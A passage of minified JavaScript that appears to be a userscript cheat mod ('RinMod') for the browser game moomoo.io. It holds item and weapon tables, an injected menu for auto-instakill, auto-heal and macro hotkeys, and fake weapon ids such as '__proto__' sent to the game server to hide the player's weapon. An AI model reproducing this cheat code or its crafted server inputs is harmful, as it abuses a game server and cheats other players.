					id: 50
					, name: "Apple Cap"
					, price: 0
					, scale: 120
					, desc: "apple farms remembers"
				}, {
					id: 28
					, name: "Moo Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 29
					, name: "Pig Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 30
					, name: "Fluff Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 36
					, name: "Pandou Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 37
					, name: "Bear Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 38
					, name: "Monkey Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 44
					, name: "Polar Head"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 35
					, name: "Fez Hat"
					, price: 0
					, scale: 120
					, desc: "no effect"
				}, {
					id: 42
					, name: "Enigma Hat"
					, price: 0
					, scale: 120
					, desc: "join the enigma army"
				}, {
					id: 43
					, name: "Blitz Hat"
					, price: 0
					, scale: 120
					, desc: "hey everybody i'm blitz"
				}, {
					id: 49
					, name: "Bob XIII Hat"
					, price: 0
					, scale: 120
					, desc: "like and subscribe"
				}, {
					id: 57
					, name: "Pumpkin"
					, price: 50
					, scale: 120
					, desc: "Spooooky"
				}, {
					id: 8
					, name: "Bummle Hat"
					, price: 100
					, scale: 120
					, desc: "no effect"
				}, {
					id: 2
					, name: "Straw Hat"
					, price: 500
					, scale: 120
					, desc: "no effect"
				}, {
					id: 15
					, name: "Winter Cap"
					, price: 600
					, scale: 120
					, desc: "allows you to move at normal speed in snow"
					, coldM: 1
				}, {
					id: 5
					, name: "Cowboy Hat"
					, price: 1e3
					, scale: 120
					, desc: "no effect"
				}, {
					id: 4
					, name: "Ranger Hat"
					, price: 2e3
					, scale: 120
					, desc: "no effect"
				}, {
					id: 18
					, name: "Explorer Hat"
					, price: 2e3
					, scale: 120
					, desc: "no effect"
				}, {
					id: 31
					, name: "Flipper Hat"
					, price: 2500
					, scale: 120
					, desc: "have more control while in water"
					, watrImm: !0
				}, {
					id: 1
					, name: "Marksman Cap"
					, price: 3e3
					, scale: 120
					, desc: "increases arrow speed and range"
					, aMlt: 1.3
				}, {
					id: 10
					, name: "Bush Gear"
					, price: 3e3
					, scale: 160
					, desc: "allows you to disguise yourself as a bush"
				}, {
					id: 48
					, name: "Halo"
					, price: 3e3
					, scale: 120
					, desc: "no effect"
				}, {
					id: 6
					, name: "Soldier Helmet"
					, price: 4e3
					, scale: 120
					, desc: "reduces damage taken but slows movement"
					, spdMult: .94
					, dmgMult: .75
				}, {
					id: 23
					, name: "Anti Venom Gear"
					, price: 4e3
					, scale: 120
					, desc: "makes you immune to poison"
					, poisonRes: 1
				}, {
					id: 13
					, name: "Medic Gear"
					, price: 5e3
					, scale: 110
					, desc: "slowly regenerates health over time"
					, healthRegen: 3
				}, {
					id: 9
					, name: "Miners Helmet"
					, price: 5e3
					, scale: 120
					, desc: "earn 1 extra gold per resource"
					, extraGold: 1
				}, {
					id: 32
					, name: "Musketeer Hat"
					, price: 5e3
					, scale: 120
					, desc: "reduces cost of projectiles"
					, projCost: .5
				}, {
					id: 7
					, name: "Bull Helmet"
					, price: 6e3
					, scale: 120
					, desc: "increases damage done but drains health"
					, healthRegen: -5
					, dmgMultO: 1.5
					, spdMult: .96
				}, {
					id: 22
					, name: "Emp Helmet"
					, price: 6e3
					, scale: 120
					, desc: "turrets won't attack but you move slower"
					, antiTurret: 1
					, spdMult: .7
				}, {
					id: 12
					, name: "Booster Hat"
					, price: 6e3
					, scale: 120
					, desc: "increases your movement speed"
					, spdMult: 1.16
				}, {
					id: 26
					, name: "Barbarian Armor"
					, price: 8e3
					, scale: 120
					, desc: "knocks back enemies that attack you"
					, dmgK: .6
				}, {
					id: 21
					, name: "Plague Mask"
					, price: 1e4
					, scale: 120
					, desc: "melee attacks deal poison damage"
					, poisonDmg: 5
					, poisonTime: 6
				}, {
					id: 46
					, name: "Bull Mask"
					, price: 1e4
					, scale: 120
					, desc: "bulls won't target you unless you attack them"
					, bullRepel: 1
				}, {
					id: 14
					, name: "Windmill Hat"
					, topSprite: !0
					, price: 1e4
					, scale: 120
					, desc: "generates points while worn"
					, pps: 1.5
				}, {
					id: 11
					, name: "Spike Gear"
					, topSprite: !0
					, price: 1e4
					, scale: 120
					, desc: "deal damage to players that damage you"
					, dmg: .45
				}, {
					id: 53
					, name: "Turret Gear"
					, topSprite: !0
					, price: 1e4
					, scale: 120
					, desc: "you become a walking turret"
					, turret: {
						proj: 1
						, range: 700
						, rate: 2500
					}
					, spdMult: .7
				}, {
					id: 20
					, name: "Samurai Armor"
					, price: 12e3
					, scale: 120
					, desc: "increased attack speed and fire rate"
					, atkSpd: .78
				}, {
					id: 58
					, name: "Dark Knight"
					, price: 12e3
					, scale: 120
					, desc: "restores health when you deal damage"
					, healD: .4
				}, {
					id: 27
					, name: "Scavenger Gear"
					, price: 15e3
					, scale: 120
					, desc: "earn double points for each kill"
					, kScrM: 2
				}, {
					id: 40
					, name: "Tank Gear"
					, price: 15e3
					, scale: 120
					, desc: "increased damage to buildings but slower movement"
					, spdMult: .3
					, bDmg: 3.3
				}, {
					id: 52
					, name: "Thief Gear"
					, price: 15e3
					, scale: 120
					, desc: "steal half of a players gold when you kill them"
					, goldSteal: .5
				}, {
					id: 55
					, name: "Bloodthirster"
					, price: 2e4
					, scale: 120
					, desc: "Restore Health when dealing damage. And increased damage"
					, healD: .25
					, dmgMultO: 1.2
				}, {
					id: 56
					, name: "Assassin Gear"
					, price: 2e4
					, scale: 120
					, desc: "Go invisible when not moving. Can't eat. Increased speed"
					, noEat: !0
					, spdMult: 1.1
					, invisTimer: 1e3
				}]
				, we = [{
					id: 12
					, name: "Snowball"
					, price: 1e3
					, scale: 105
					, xOff: 18
					, desc: "no effect"
				}, {
					id: 9
					, name: "Tree Cape"
					, price: 1e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 10
					, name: "Stone Cape"
					, price: 1e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 3
					, name: "Cookie Cape"
					, price: 1500
					, scale: 90
					, desc: "no effect"
				}, {
					id: 8
					, name: "Cow Cape"
					, price: 2e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 11
					, name: "Monkey Tail"
					, price: 2e3
					, scale: 97
					, xOff: 25
					, desc: "Super speed but reduced damage"
					, spdMult: 1.35
					, dmgMultO: .2
				}, {
					id: 17
					, name: "Apple Basket"
					, price: 3e3
					, scale: 80
					, xOff: 12
					, desc: "slowly regenerates health over time"
					, healthRegen: 1
				}, {
					id: 6
					, name: "Winter Cape"
					, price: 3e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 4
					, name: "Skull Cape"
					, price: 4e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 5
					, name: "Dash Cape"
					, price: 5e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 2
					, name: "Dragon Cape"
					, price: 6e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 1
					, name: "Super Cape"
					, price: 8e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 7
					, name: "Troll Cape"
					, price: 8e3
					, scale: 90
					, desc: "no effect"
				}, {
					id: 14
					, name: "Thorns"
					, price: 1e4
					, scale: 115
					, xOff: 20
					, desc: "no effect"
				}, {
					id: 15
					, name: "Blockades"
					, price: 1e4
					, scale: 95
					, xOff: 15
					, desc: "no effect"
				}, {
					id: 20
					, name: "Devils Tail"
					, price: 1e4
					, scale: 95
					, xOff: 20
					, desc: "no effect"
				}, {
					id: 16
					, name: "Sawblade"
					, price: 12e3
					, scale: 90
					, spin: !0
					, xOff: 0
					, desc: "deal damage to players that damage you"
					, dmg: .15
				}, {
					id: 13
					, name: "Angel Wings"
					, price: 15e3
					, scale: 138
					, xOff: 22
					, desc: "slowly regenerates health over time"
					, healthRegen: 3
				}, {
					id: 19
					, name: "Shadow Wings"
					, price: 15e3
					, scale: 138
					, xOff: 22
					, desc: "increased movement speed"
					, spdMult: 1.1
				}, {
					id: 18
					, name: "Blood Wings"
					, price: 2e4
					, scale: 178
					, xOff: 26
					, desc: "restores health when you deal damage"
					, healD: .2
				}, {
					id: 21
					, name: "Corrupt X Wings"
					, price: 2e4
					, scale: 178
					, xOff: 26
					, desc: "deal damage to players that damage you"
					, dmg: .25
				}];
			let ve = 0;
			document.opcToggle = function () {
				global_functions_exporter.enableNames = !global_functions_exporter.enableNames, ve = ve ? 0 : 1, $("#leaderboard")
					.animate({
						opacity: ve
					}), $("#scoreDisplay")
					.animate({
						opacity: ve
					}), $("#partyButton")
					.animate({
						opacity: ve
					})
			};
			let be = 0;
			document.clanListToggle = (() => {
					be = be ? 0 : 1, $("#clanList")
						.animate({
							opacity: be
						})
				}), $("#leaderboard")
				.animate({
					opacity: 0
				}), $("#scoreDisplay")
				.animate({
					opacity: 0
				}), $("#partyButton")
				.animate({
					opacity: 0
				}), global_functions_exporter.enableNames = !1;
			var n = [{
				isInvis: !0
				, id: "__proto__"
				, age: 0
				, name: "undefined"
				, desc: "undefined"
				, src: "undefined"
				, gather: 1
				, isMelee: !0
				, damage: 0
				, cd: 0
				, range: 142
				, type: -1
			}, {
				isInvis: !0
				, id: "length"
				, age: 0
				, name: "undefined"
				, desc: "undefined"
				, src: "undefined"
				, gather: 1
				, isMelee: !0
				, damage: 0
				, cd: 0
				, range: 142
				, type: -1
			}, {
				id: 0
				, type: 0
				, age: 1
				, name: "tool hammer"
				, desc: "tool for gathering all resources"
				, src: "hammer_1"
				, length: 140
				, width: 140
				, xOff: -3
				, yOff: 18
				, dmg: 25
				, range: 65
				, gather: 1
				, speed: 300
				, isMelee: !0
				, damage: 25
				, cd: 3
			}, {
				id: 1
				, type: 0
				, age: 2
				, name: "hand axe"
				, desc: "gathers resources at a higher rate"
				, src: "axe_1"
				, length: 140
				, width: 140
				, xOff: 3
				, yOff: 24
				, dmg: 30
				, spdMult: 1
				, range: 70
				, gather: 2
				, speed: 400
				, isMelee: !0
				, damage: 30
				, cd: 4
			}, {
				id: 2
				, type: 0
				, age: 8
				, pre: 1
				, name: "great axe"
				, desc: "deal more damage and gather more resources"
				, src: "great_axe_1"
				, length: 140
				, width: 140
				, xOff: -8
				, yOff: 25
				, dmg: 35
				, spdMult: 1
				, range: 75
				, gather: 4
				, speed: 400
				, isMelee: !0
				, damage: 35
				, cd: 4
			}, {
				id: 3
				, type: 0
				, age: 2
				, name: "short sword"
				, desc: "increased attack power but slower move speed"
				, src: "sword_1"
				, iPad: 1.3
				, length: 130
				, width: 210
				, xOff: -8
				, yOff: 46
				, dmg: 35
				, spdMult: .85
				, range: 110
				, gather: 1
				, speed: 300
				, isMelee: !0
				, damage: 35
				, cd: 3
			}, {
				id: 4
				, type: 0
				, age: 8
				, pre: 3
				, name: "katana"
				, desc: "greater range and damage"
				, src: "samurai_1"
				, iPad: 1.3
				, length: 130
				, width: 210
				, xOff: -8
				, yOff: 59
				, dmg: 40
				, spdMult: .8
				, range: 118
				, gather: 1
				, speed: 300
				, isMelee: !0
				, damage: 40
				, cd: 3
			}, {
				id: 5
				, type: 0
				, age: 2
				, name: "polearm"
				, desc: "long range melee weapon"
				, src: "spear_1"
				, iPad: 1.3
				, length: 130
				, width: 210
				, xOff: -8
				, yOff: 53
				, dmg: 45
				, knock: .2
				, spdMult: .82
				, range: 142
				, gather: 1
				, speed: 700
				, isMelee: !0
				, damage: 45
				, cd: 7
			}, {
				id: 6
				, type: 0
				, age: 2
				, name: "bat"
				, desc: "fast long range melee weapon"
				, src: "bat_1"
				, iPad: 1.3
				, length: 110
				, width: 180
				, xOff: -8
				, yOff: 53
				, dmg: 20
				, knock: .7
				, range: 110
				, gather: 1
				, speed: 300
				, isMelee: !0
				, damage: 20
				, cd: 3
			}, {
				id: 7
				, type: 0
				, age: 2
				, name: "daggers"
				, desc: "really fast short range weapon"
				, src: "dagger_1"
				, iPad: .8
				, length: 110
				, width: 110
				, xOff: 18
				, yOff: 0
				, dmg: 20
				, knock: .1
				, range: 65
				, gather: 1
				, hitSlow: .1
				, spdMult: 1.13
				, speed: 100
				, isMelee: !0
				, damage: 20
				, cd: 1
			}, {
				id: 8
				, type: 0
				, age: 2
				, name: "stick"
				, desc: "great for gathering but very weak"
				, src: "stick_1"
				, length: 140
				, width: 140
				, xOff: 3
				, yOff: 24
				, dmg: 1
				, spdMult: 1
				, range: 70
				, gather: 7
				, speed: 400
				, isMelee: !0
				, damage: 1
				, cd: 4
			}, {
				id: 9
				, type: 1
				, age: 6
				, name: "hunting bow"
				, desc: "bow used for ranged combat and hunting"
				, src: "bow_1"
				, req: ["wood", 4]
				, length: 120
				, width: 120
				, xOff: -6
				, yOff: 0
				, projectile: 0
				, spdMult: .75
				, speed: 600
				, isMelee: !1
				, damage: 25
				, cd: 6
			}, {
				id: 10
				, type: 1
				, age: 6
				, name: "great hammer"
				, desc: "hammer used for destroying structures"
				, src: "great_hammer_1"
				, length: 140
				, width: 140
				, xOff: -9
				, yOff: 25
				, dmg: 10
				, spdMult: .88
				, range: 75
				, sDmg: 7.5
				, gather: 1
				, speed: 400
				, isMelee: !0
				, damage: 10
				, cd: 4
			}, {
				id: 11
				, type: 1
				, age: 6
				, name: "wooden shield"
				, desc: "blocks projectiles and reduces melee damage"
				, src: "shield_1"
				, length: 120
				, width: 120
				, shield: .2
				, xOff: 6
				, yOff: 0
				, spdMult: .7
				, range: 150
				, damage: 0
			}, {
				id: 12
				, type: 1
				, age: 8
				, pre: 9
				, name: "crossbow"
				, desc: "deals more damage and has greater range"
				, src: "crossbow_1"
				, req: ["wood", 5]
				, aboveHand: !0
				, armS: .75
				, length: 120
				, width: 120
				, xOff: -4
				, yOff: 0
				, projectile: 2
				, spdMult: .7
				, speed: 700
				, isMelee: !1
				, damage: 35
				, cd: 7
			}, {
				id: 13
				, type: 1
				, age: 9
				, pre: 12
				, name: "repeater crossbow"
				, desc: "high firerate crossbow with reduced damage"
				, src: "crossbow_2"
				, req: ["wood", 10]
				, aboveHand: !0
				, armS: .75
				, length: 120
				, width: 120
				, xOff: -4
				, yOff: 0
				, projectile: 3
				, spdMult: .7
				, speed: 230
				, isMelee: !1
				, damage: 30
				, cd: 3
			}, {
				id: 14
				, type: 1
				, age: 6
				, name: "mc grabby"
				, desc: "steals resources from enemies"
				, src: "grab_1"
				, length: 130
				, width: 210
				, xOff: -8
				, yOff: 53
				, dmg: 0
				, steal: 250
				, knock: .2
				, spdMult: 1.05
				, range: 125
				, gather: 0
				, speed: 700
				, isMelee: !0
				, damage: 0
				, cd: 7
			}, {
				id: 15
				, type: 1
				, age: 9
				, pre: 12
				, name: "musket"
				, desc: "slow firerate but high damage and range"
				, src: "musket_1"
				, req: ["stone", 10]
				, aboveHand: !0
				, rec: .35
				, armS: .6
				, hndS: .3
				, hndD: 1.6
				, length: 205
				, width: 205
				, xOff: 25
				, yOff: 0
				, projectile: 5
				, hideProjectile: !0
				, spdMult: .6
				, speed: 1500
				, isMelee: !1
				, damage: 50
				, cd: 14
				, rec: .35
			}];
			let xe, Be, Ee, ke;
			unsafeWindow.globalWeaponsList = n, setInterval(() => {
					document.getElementById("autoBuyHats")
						.checked && (storeBuy(21, !0), storeBuy(18, !0), storeBuy(19, !0), storeBuy(13, !0), storeBuy(11, !0), storeBuy(40), storeBuy(52), storeBuy(20), storeBuy(53), storeBuy(11), storeBuy(7), storeBuy(12), storeBuy(22), storeBuy(13), storeBuy(6), storeBuy(31), storeBuy(15), storeBuy(21))
				}, 700), $("body")
				.append('<div id="modMenus" style="display: block;\npadding: 10px;\nborder-radius: 15px;\nbackground-color: rgba(0, 0, 0, 0.25);\nborder-radius: 3px;\nposition: absolute;\nleft: 20px;\ntop: 20px;\nmin-width: 300px;\nmax-width: 450px;\nmin-height: 400;\nmax-height 700;"></div>'), $("#mainMenu")
				.css({
					"overflow-y": "scroll"
				}), $("#modMenus")
				.append('<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">\nRinMod: <br>\n<script>\nfunction hideUI() { document.getElementById(\'gameUI\').style.display = "none"; };\nfunction showUI() { document.getElementById(\'gameUI\').style.display = "block"; };\nfunction toggle2() {\n    $("#dataDisplayer").toggle();\n};\n<\/script>\n<div style="font-size: 12px; overflow-y: scroll; max-height: 150px;">\n\n<button onclick="(()=>{document.clanListToggle(), document.opcToggle()})()">Toggle Names</button><br><br>\n\nEnable Data Display? <button onclick="toggle2()" id="toggleHackUI2">Toggle Data Displays</button><br><br>\n\nMirror nearest enemy chat? <input type="checkbox" id="mirrorChat"><br>\n\nAuto Instakill? <input type="checkbox" id="autoInsta"><br>\n\nAuto-Pits? <input type="checkbox" id="autoPits"><br>\n\nAuto-Invis Hand? <input type="checkbox" id="autoInvisHand" checked><br>\n\nAuto-Blocker? <input type="checkbox" id="autoBlocker"><br>\n\nAuto-Buy Hats? <input type="checkbox" id="autoBuyHats"><br>\n\nAutoQ? <input type="checkbox" id="autoqCheckbox"><br>\n\nAuto-Fix Reload (if you accidentally switch during reload) <input type="checkbox" id="reloadFixer" checked><br>\n\nAuto-Theif on insta? <input type="checkbox" id="autoTheif" checked><br>\n\nAuto-EMP hat? <input type="checkbox" id="autoemp"><br>\n\nAutoSoldier? <input type="checkbox" id="autosoldier" checked><br><br>\n\nAuto-Antibull? <input type="checkbox" id="autoAntibull" checked><br>\n\nAutosoldier in River? <input type="checkbox" id="riverDefense"><br>\n\nAutoheal x Extreme Anti-Insta: <b>ALWAYS ON</b><br>\n\nAuto-Disconnect on Clown? <input type="checkbox" id="autoDisconnect"><br>\n\nAutospawn? <input type="checkbox" id="autospawn" checked><br>\n\nAuto Wolf Blocking (places a trap to block a wolf when it hits you)? <input type="checkbox" id="wolfBlock" checked><br>\n\nAnti-Boost Spike? <input type="checkbox" id="antiBoostSpike" checked><br>\n\nAnti-Dagger? <input type="checkbox" id="antiDagger" checked><br>\n\nAnti-invisible buildings? <input type="checkbox" id="fixInvisBuildings" checked><br>\n\n(use invis builds) Xv1 Mode? <input type="checkbox" id="xv1mode"><br>\n\nOne-Tick Insta? <input type="checkbox" id="doOneTickShot" checked><br>\n\n<br>\n\nSpike hotkey: <input type="text" id="spikeHotkeyValue" value="v" maxlength="1"><br>\nTrap / Boost hotkey: <input type="text" id="trapHotkeyValue" value="f" maxlength="1"><br>\nHealing hotkey: <input type="text" id="healingHotkeyValue" value="q" maxlength="1"><br>\nInstakill hotkey: <input type="text" id="instaHotkeyValue" value="r" maxlength="1"><br>\n3x teleporter hotkey: <input type="text" id="tripleTeleporterValue" value="h" maxlength="1"><br>\n3x compact windmills hotkey: <input type="text" id="tripleMillHotkeyValue" value="b" maxlength="1"><br>\n\n<br>\n\nAim Boost-Spike At Nearest Enemy? <input type="checkbox" id="aimBoostSpikeAtPlayer"><br>\nAuto-Boost Spike: space key (State: <b id="autoBoostSpikerStateMenu"></b>)<br>\n<label for="BSPIKEobjectTypeSel">Choose an object for the boost item placer:</label>\n<select name="BSPIKEobjectTypeSel" id="BSPIKEobjectTypeSel">\n<option value="millType">Windmills</option>\n<option value="mineType">Mines</option>\n<option value="spikeType">Spikes</option>\n<option value="spawnpadType">Spawnpad Type</option>\n<option value="turretType">Turret Type</option>\n<option value="boostType">Boost Type</option>\n<option value="wallType">Wall Type</option>\n</select><br><br>\n\nHeal Throttle (tune up if heal is clowning you): <br>\n<input type="range" min="1" max="200" value="0" id="healThrottleValue"><br>\nValue: <text id="healThrottleDisplay"></text><br><br>\n\nInclude dagger insta in dynamic insta? <input type="checkbox" id="supportDynamicDaggerInsta" checked><br>\n\nInclude Spike Insta in Dynamic Insta? <input type="checkbox" id="spikeInstaIncludedInDynamicInsta" checked><br>\n\n<br>(check enemy hats and your weapons to see if you can spike insta w/ damage math) Smart spike insta? <input type="checkbox" id="nearestEnemyCantSurviveCheck" checked><br>\n\nInclude weapon variant in spike insta damage calculation? <input type="checkbox" id="includeWeaponVariantInSpikeInsta" checked><br>\n\nClicks per millisecond for Macros: <input type="text" id="cpsForMacros" value="1"> (keep at 1-2)<br>\n\nMake your insta tick based? <input type="checkbox" id="instaTickBased" checked> (if enabled, your insta will account for lag. If there\'s too much lag, it will be too slow. Falls back to millisecond timeouts if disabled)<br>\n\nMake Boost / Trap Hotkey Quad? <input type="checkbox" id="boostQuadMode" checked> (either single or four)<br>\n\nAutochat When Near Enemy? <input type="checkbox" id="achatEnemy" checked=checked><br>\n\nChat this when "autochat near enemy" is enabled: <input type="text" id="achatEnemyVal" placeholder="Within Range"><br>\n\nBiome Hats (winter cap for arctic, booster for normal, etc.)? <input type="checkbox" id="bioHats" checked=checked><br>\n\nStop Instakill When Target Uses Shield? <input type="checkbox" id="blockInsta" checked=checked> (Doesn\'t affect instakill hotkey, only auto-instakill)<br>\n\nChat on Instakill? <input type="checkbox" id="instaChat"><br>\n\nChat <input type="text" id="instaChatData"> on instakill (If enabled)<br>\n\nTribe instakill? <input type="checkbox" id="instKillTribe"><br>\n\nCreate Clan: <input type="text" id="fixedClanCreationValue" placeholder="clan"><button onclick="document.generateFixedClan();">Create Clan</button><br><br>\n\nChat on insta flagging / autoq flagger? <input type="checkbox" id="flaggerChat" checked><br>\n\n<button onclick="hideUI()">Hide UI</button><br>\n\n<button onclick="showUI()">Show UI</button><br>\n\n<br>\n\n<button onclick="window.trace_a()">Set Tracer</button><br>\n\n<button onclick="window.cleartr()">Clear Tracers</button><br>\n\n<br>Logs: <br><div id="log" style="overflow-y: scroll; max-height: 50px;"></div>\n\n</div>\n'), $("#modMenu")
				.show(), $("#gameUI")
				.prepend('\n<div id= "hackMenu2">\n<style>\n.bottomright {\nposition: absolute;\nbottom: 8px;\nright: 16px;\nfont-size: 18px;\n}\n<style>\n</div>\n'), document.getElementById("healThrottleValue")
				.oninput = function () {
					document.getElementById("healThrottleDisplay")
						.innerHTML = this.value
				};
			let Ce = !1
				, Ie = fe(() => {
					global_functions_exporter.cursorDisable = !0, ae(["2", [f]])
				});

			function r() {
				!document.getElementById("autoInvisHand")
					.checked || e(document.getElementById("actionBarItem0")) || e(document.getElementById("actionBarItem7")) || ae(["5", ["__proto__", !0]])
			}

			function i() {
				ae(["5", [d, !0]])
			}

			function o(e = Ve, t = (0 != e.xvel || 0 != e.yvel ? Math.atan2(e.yvel, e.xvel) : null), r = e.weapon, i = e.hat, o = e.accessory, a = e.object, s) {
				let l = e.x
					, c = e.y
					, u = e.sxvel ? e.sxvel : 0
					, f = e.syvel ? e.syvel : 0
					, d = null !== t ? Math.cos(t) : 0
					, h = null !== t ? Math.sin(t) : 0
					, p = Math.hypot(d, h);
				0 != p && (d /= p, h /= p);
				let A = we.find(e => e.id == o)
					, g = ye.find(e => e.id == i)
					, m = n.find(e => e.id == r)
					, y = (a >= 0 ? .5 : 1) * (11 == o && A.spdMult || 1) * (i && g.spdMult || 1) * (m.spdMult || 1);
				c > 6850 && c < 7550 && (i && g.watrImm ? (y *= .75, u += .0495) : (y *= .33, u += .0011 * 112.5)), d && (u += .0016 * d * y * 112.5), h && (f += .0016 * h * y * 112.5);
				let w = 1 / Math.min(4, Math.max(1, Math.round(Math.cos((112.5 * u) ** 2 + (112.5 * f) ** 2) / 40)))
					, v = 112.5 * u * w
					, b = 112.5 * f * w;
				return u && (l += v, (u *= .993 ** 112.5) <= .01 && u >= -.01 && (u = 0)), f && (c += b, (f *= .993 ** 112.5) <= .01 && f >= -.01 && (f = 0)), m.rec && s && (u -= m.rec * Math.cos(e.dir), f -= m.rec * Math.sin(e.dir)), [v, b, u, f]
			}
			let Te = !1
				, Me = {
					ldown: !1
					, rdown: !1
				};
			document.getElementById("gameCanvas")
				.addEventListener("mouseup", e => {
					0 == e.button && (Me.ldown = !1), 2 == e.button && (Me.rdown = !1)
				}), document.getElementById("gameCanvas")
				.addEventListener("mousedown", e => {
					0 == e.button && (Me.ldown = !0), 2 == e.button && (Me.rdown = !0)
				});
			let Pe = "sandbox.moomoo.io" == window.location.hostname
				, Oe = !0
				, De = !1;
			async function a() {
				if(!Me.ldown) return void l();
				let e = global_functions_exporter.playerList[Ve.id];
				if(10 == Ve.secondary ? Ve.secondaryObject : Ve.primaryObject, (e.pCd > 0 || Oe) && (Oe && (Oe = !1), (10 == Ve.secondary ? e.secondary != e.weapon : e.primary != e.weapon) && (10 == Ve.secondary ? ae(["5", [h, !0]]) : i())), e.pCd > 0) {
					let e, t;
					try {
						e = 0 == global_functions_exporter.playerList[M.id].shameCount
					} catch (t) {
						e = !0
					}
					global_functions_exporter.playerList[Ve.id].turretCd <= 0 && e && u && 22 != global_functions_exporter.playerList[M.id].hat && storeEquip(53), E.forEach(e => {
						global_functions_exporter.playerList[e[0]].pVariant > 0 && H(Ve, global_functions_exporter.playerList[e[0]]) < 300 && (t = !0)
					}), ot && !t ? ("".damage >= 40 ? storeEquip(11) : storeEquip(26), storeEquip(21, !0)) : at ? (storeEquip(26), storeEquip(13, !0)) : u ? (storeEquip(k), storeEquip(C, !0)) : Pe ? (storeEquip(7), storeEquip(C, !0)) : (storeEquip(k), storeEquip(C, !0))
				}
				if(e.pCd <= 0) {
					let e;
					storeEquip(40), E.forEach(t => {
							global_functions_exporter.playerList[t[0]].pVariant > 0 && H(Ve, global_functions_exporter.playerList[t[0]]) < 300 && (e = !0)
						}), q(Ve)
						.length ? storeEquip(18, !0) : ot && !e ? storeEquip(21, !0) : at ? storeEquip(13, !0) : storeEquip(C, !0), document.hit(!0), await Lt(1, Qe), document.hit(!1)
				}
			}
			let Le = !1
				, _e = !0
				, Se = !1;
			async function s() {
				if(!Me.ldown) return void l();
				let e = global_functions_exporter.playerList[Ve.id]
					, t = Ve.primaryObject;
				if((e.pCd > 0 || _e) && (_e && (_e = !1), e.primary != e.weapon && i()), e.pCd > 0) {
					let e, n = !1;
					if(E.forEach(t => {
							n = !0, global_functions_exporter.playerList[t[0]].pVariant > 0 && H(Ve, global_functions_exporter.playerList[t[0]]) < 300 && (e = !0)
						}), Le) {
						Le = !1, storeEquip(7), storeEquip(13, !0);
						let e = setInterval(() => ce(p, null), 10);
						(async () => {
							await Lt(1, Qe), clearInterval(e)
						})()
					} else ot && !e ? !e || t.damage >= 40 ? (storeEquip(11), storeEquip(21, !0)) : (storeEquip(26), storeEquip(13, !0)) : at ? (storeEquip(26), storeEquip(13, !0)) : n ? (storeEquip(k), storeEquip(C, !0)) : Pe ? (storeEquip(7), storeEquip(C, !0)) : (storeEquip(k), storeEquip(C, !0))
				}
				if(e.pCd <= 0) {
					storeEquip(7);
					let e, t, n = !1;
					try {
						e = 0 == global_functions_exporter.playerList[M.id].shameCount
					} catch (t) {
						e = !0
					}
					global_functions_exporter.playerList[Ve.id].turretCd <= 0 && e && u && 22 != global_functions_exporter.playerList[M.id].hat && (storeEquip(53), n = !0), E.forEach(e => {
							global_functions_exporter.playerList[e[0]].pVariant > 0 && H(Ve, global_functions_exporter.playerList[e[0]]) < 300 && (t = !0)
						}), q(Ve)
						.length ? (storeEquip(18, !0), q(Ve)
							.forEach(e => {
								0 == global_functions_exporter.playerList[Ve.id].pVariant && e.primaryObject.damage >= 40 && 11 == e.hat && 21 == e.accessory && (Le = !0)
							})) : ot ? t ? storeEquip(13) : storeEquip(21, !0) : at ? storeEquip(13, !0) : storeEquip(C, !0), document.hit(!0), await Lt(1, Qe), document.hit(!1)
				}
			}
			async function l() {
				Ct && (bt = !1), document.hit(!1), Te = !1, Oe = !0, _e = !0, storeEquip(k), storeEquip(C, !0), Te = !1, 10 == Ve.secondary ? await oe() : await ie(), r()
			}
			document.getElementById("gameCanvas")
				.onmousedown = async function (e) {
					let t = document.activeElement.id;
					if("chatBox" != t && "instaChatData" != t && "allianceInput" != t && "fixedClanCreationValue" != t && "achatEnemyVal" != t && "spikeHotkeyValue" != t && "trapHotkeyValue" != t && "healingHotkeyValue" != t && "instaHotkeyValue" != t && "tripleMillHotkeyValue" != t && "tripleTeleporterValue" != t) {
						if(Te = !0, e.preventDefault(), e.stopPropagation(), 0 == e.button) {
							if(Ct && (bt = !0), !Me.ldown) return void l();
							q(Ve)
								.length ? (De && (De = !1), Se = !0) : (Se && (Se = !1), De = !0);
							let e = setInterval(async () => {
								if(!Me.ldown) return l(), void clearInterval(e);
								q(Ve)
									.length ? (De && (De = !1), Se = !0) : (Se && (Se = !1), De = !0)
							}, 112.5 - et);
							window.addEventListener("mouseup", async function () {
								clearInterval(e), Oe = !0, _e = !0, De && (De = !1), Se && (Se = !1), storeEquip(k), storeEquip(C, !0), Te = !1, await ie(), r(), Ct && (bt = !1), this.removeEventListener("mouseup", arguments.callee, !1)
							})
						}
						1 == e.button && K(), 2 == e.button && Z()
					}
				};
			let qe = {
				previousHat: null
				, previousAcc: null
				, inProcess: !1
			};
			$("#gameCanvas")
				.on("wheel", function (e) {
					e.originalEvent.deltaY > 0 && (storeEquip(qe.previousHat), storeEquip(qe.previousAcc, !0), qe.inProcess = !1), e.originalEvent.deltaY < 0 && (7 != Ve.hat && (qe.previousAcc = Ve.accessory, qe.previousHat = Ve.hat, qe.inProcess = !0), storeEquip(7))
				});
			let He = 1;

			function c() {
				le(k), se(C)
			}
			var u, f;
			setInterval(() => {
				1 == He && (x != k && le(k), B != C && se(C), x = k, B = C)
			}, 25);
			var d, h, p, A, g, m, y, w, v, b, x, B, E, k, C, I, T, M = {
				id: null
				, x: null
				, y: null
				, dir: null
				, object: null
				, weapon: null
				, clan: null
				, isLeader: null
				, hat: null
				, accessory: null
				, isSkull: null
				, weaponVariant: null
			};
			let Ve = {
					id: null
					, x: null
					, y: null
					, dir: null
					, object: null
					, weapon: null
					, clan: null
					, isLeader: null
					, hat: null
					, accessory: null
